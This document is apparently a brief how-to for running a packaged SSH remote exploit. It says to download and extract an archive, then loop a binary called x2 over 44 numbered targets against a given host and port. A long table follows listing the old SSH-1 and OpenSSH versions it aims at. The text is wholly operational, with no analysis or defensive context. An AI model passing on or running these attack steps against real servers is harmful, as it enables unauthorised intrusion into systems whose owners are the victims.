First you need to download it from here. Then you must extract it.
tar zxvf 349.tgz
cd ssh
Then run the exploit against your host.
for i in {1..44}; do ./x2 -t$i <host> <port>; done
Target: Small - SSH-1.5-1.3.7-10
Target: Small - SSH-1.5-1.2.24-31
Target: Small - SSH-1.5-1.2.27
Target: Small - SSH-1.5-1.2.31
Target: Small - SSH-1.5-1.3.07
Target: Small - SSH-1.5-1.3.6_F-SECURE_SSH
Target: Small - SSH-1.5-1.3.6_F-SECURE_SSH-2
Target: Small - SSH-1.5-OpenSSH-1.2
Target: Small - SSH-1.5-OpenSSH-1.2.1-3
Target: Small - SSH-1.5-OpenSSH-2.1
Target: Small - SSH-1.99-OpenSSH-2.1.1
Target: Small - SSH-1.99-OpenSSH-2.2.0
Target: Small - SSH-1.99-OpenSSH_2.5.2p2
Target: Small - SSH-1.99-OpenSSH_1.2.3
Target: Small - SSH-1.99-OpenSSH-2.2.0p1
Target: Small - SSH-1.99-OpenSSH_2.3.0p1
Target: Small - SSH-1.99-OpenSSH_2.2.0p1
Target: Small - SSH-1.99-OpenSSH_2.1.1
Target: Small - SSH-1.99-OpenSSH_2.2.0p1
Target: Small - SSH-1.99-OpenSSH_2.2.0p1-2
Target: Small - SSH-1.99-OpenSSH_2.1.1
Target: Big - SSH-1.5-1.3.7-10
Target: Big - SSH-1.5-1.2.24-31
Target: Big - SSH-1.5-1.2.26
Target: Big - SSH-1.5-1.2.27
Target: Big - SSH-1.5-1.2.30
Target: Big - SSH-1.5-1.2.31
Target: Big - SSH-1.5-1.3.6_F-SECURE_SSH
Target: Big - SSH-1.5-OpenSSH-1.2.2
Target: Big - SSH-1.5-OpenSSH-1.2
Target: Big - SSH-1.5-OpenSSH-1.2.1-3
Target: Big - SSH-1.5-OpenSSH-2.1
Target: Big - SSH-1.99-OpenSSH-2.1.1
Target: Big - SSH-1.99-OpenSSH-2.2.0
Target: Big - SSH-1.99-OpenSSH_2.2.0p1
Target: Big - SSH-1.99-OpenSSH-2.2.0p1-2
Target: Big - SSH-1.99-OpenSSH_2.3.0p1
Target: Big - SSH-1.99-OpenSSH_2.5.2p2
Target: MNS xlong - SSH-1.99-OpenSSH_2.2.0p1
Target: MNS xlong - SSH-2.99-OpenSSH_2.2.0p1
Target: MNS quick - SSH-1.5-OpenSSH-1.2.2
Target: MNS quick - SSH-1.5-1.2.25
Target: Big - SSH-1.99-OpenSSH_2.2.0p1